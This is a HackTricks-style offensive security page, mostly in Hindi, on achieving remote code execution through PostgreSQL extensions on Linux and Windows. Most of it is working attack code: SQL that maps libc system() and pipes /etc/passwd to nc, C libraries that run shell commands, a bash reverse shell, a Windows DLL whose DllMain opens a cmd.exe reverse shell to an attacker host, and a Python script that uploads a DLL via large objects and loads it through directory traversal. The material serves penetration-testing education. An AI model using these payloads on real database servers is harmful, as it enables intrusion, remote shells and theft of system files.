# RCE with PostgreSQL Extensions {{#include ../../../banners/hacktricks-training.md}} ## PostgreSQL Extensions PostgreSQL को विस्तारशीलता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं। संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लगाई गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए। इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md) ### RCE in Linux **अधिक जानकारी के लिए देखें: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** PostgreSQL 8.1 और पूर्व के संस्करणों से सिस्टम कमांड का निष्पादन एक प्रक्रिया है जिसे स्पष्ट रूप से दस्तावेजित किया गया है और यह सीधा है। इसका उपयोग करना संभव है: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); # You can also create functions to open and write files CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; ```
Write binary file from base64 पोस्टग्रेस में एक बाइनरी को फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा: ```sql CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS $$ DECLARE fh int; s int; w bytea; i int; BEGIN SELECT open(textout(file)::cstring, 522, 448) INTO fh; IF fh <= 2 THEN RETURN 1; END IF; SELECT decode(s, 'base64') INTO w; i := 0; LOOP EXIT WHEN i >= octet_length(w); SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; IF rs < 0 THEN RETURN 2; END IF; i := i + 1; END LOOP; SELECT close(fh) INTO rs; RETURN 0; END; $$ LANGUAGE 'plpgsql'; ```
हालांकि, जब इसे उच्च संस्करणों पर आजमाया गया **तो निम्नलिखित त्रुटि दिखाई दी**: ```c ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है: > यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे मॉड्यूल स्रोत फ़ाइलों में से एक (और केवल एक) में लिखें, fmgr.h हेडर शामिल करने के बाद: > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ > `#endif` PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करना काफी कठिन बना देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है। #### पुस्तकालय संकलित करें PsotgreSQL संस्करण प्राप्त करें: ```sql SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` संगतता के लिए, यह आवश्यक है कि प्रमुख संस्करण मेल खाते हों। इसलिए, 9.6.x श्रृंखला के भीतर किसी भी संस्करण के साथ एक पुस्तकालय को संकलित करना सफल एकीकरण सुनिश्चित करना चाहिए। अपने सिस्टम में उस संस्करण को स्थापित करने के लिए: ```bash apt install postgresql postgresql-server-dev-9.6 ``` और पुस्तकालय को संकलित करें: ```c //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); } ``` फिर संकलित पुस्तकालय को अपलोड करें और कमांड्स को निष्पादित करें: ```bash CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); #Notice the double single quotes are needed to scape the qoutes ``` आप इस **पुस्तकालय को पूर्व-संकलित** कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL पहुंच है) के साथ: {{#ref}} https://github.com/Dionach/pgexec {{#endref}} ### Windows में RCE निम्नलिखित DLL **बाइनरी का नाम** और **संख्या** को इनपुट के रूप में लेता है कि आप इसे **कितनी बार** निष्पादित करना चाहते हैं और इसे निष्पादित करता है: ```c #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pgsql_exec); /* this function launches the executable passed in as the first parameter in a FOR loop bound by the second parameter that is also passed*/ Datum pgsql_exec(PG_FUNCTION_ARGS) { /* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/ int instances = PG_GETARG_INT32(1); for (int c = 0; c < instances; c++) { /*launch the process passed in the first parameter*/ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); } PG_RETURN_VOID(); } ``` आप इस ज़िप में संकलित DLL पा सकते हैं: {{#file}} pgsql_exec.zip {{#endfile}} आप इस DLL को **कौन सा बाइनरी निष्पादित करना है** और इसे कितनी बार निष्पादित करना है, यह बता सकते हैं, इस उदाहरण में यह `calc.exe` को 2 बार निष्पादित करेगा: ```bash CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` [**यहाँ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)आपको यह रिवर्स-शेल मिल सकता है: ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #pragma comment(lib,"ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif #pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) { WSADATA wsaData; SOCKET wsock; struct sockaddr_in server; char ip_addr[16]; STARTUPINFOA startupinfo; PROCESS_INFORMATION processinfo; char *program = "cmd.exe"; const char *ip = PG_REVSHELL_CALLHOME_SERVER; u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); WSAStartup(MAKEWORD(2, 2), &wsaData); wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host; host = gethostbyname(ip); strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr))); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL); memset(&startupinfo, 0, sizeof(startupinfo)); startupinfo.cb = sizeof(startupinfo); startupinfo.dwFlags = STARTF_USESTDHANDLES; startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock; CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo); return TRUE; } #pragma warning(pop) /* re-enable 4996 */ /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(add_one); Datum dummy_function(PG_FUNCTION_ARGS) { int32 arg = PG_GETARG_INT32(0); PG_RETURN_INT32(arg + 1); } ``` ध्यान दें कि इस मामले में **दुष्ट कोड DllMain फ़ंक्शन के अंदर है**। इसका मतलब है कि इस मामले में पोस्टग्रेएसक्यूएल में लोड किए गए फ़ंक्शन को निष्पादित करना आवश्यक नहीं है, बस **DLL को लोड करना** **रिवर्स शेल** को **निष्पादित करेगा**: ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` The [PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है। ### नवीनतम Prostgres संस्करणों में RCE PostgreSQL के **नवीनतम संस्करणों** में, कुछ प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं। इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसी डेटाबेस संचालन के लिए आवश्यक है। `CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका यात्रा** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस यात्रा का **शोषण** करके डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर उसे **लोड** कर सकता है। यह शोषण हमलावर को मनचाहा कोड निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर स्थानीय कोड निष्पादन प्राप्त होता है। #### हमले का प्रवाह सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे किया जाता है: {{#ref}} big-binary-files-upload-postgresql.md {{#endref}} एक बार जब आप डेटा निर्देशिका में एक्सटेंशन (इस उदाहरण के लिए poc.dll नाम के साथ) को अपलोड कर लेते हैं, तो आप इसे लोड कर सकते हैं: ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` _ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_ अधिक जानकारी के लिए **यहां पढ़ें**[ **मूल प्रकाशन**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\ उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\ उसी पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण दिया गया था**: ```python #!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s " % sys.argv[0]) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);") ``` ## संदर्भ - [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) - [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084) {{#include ../../../banners/hacktricks-training.md}}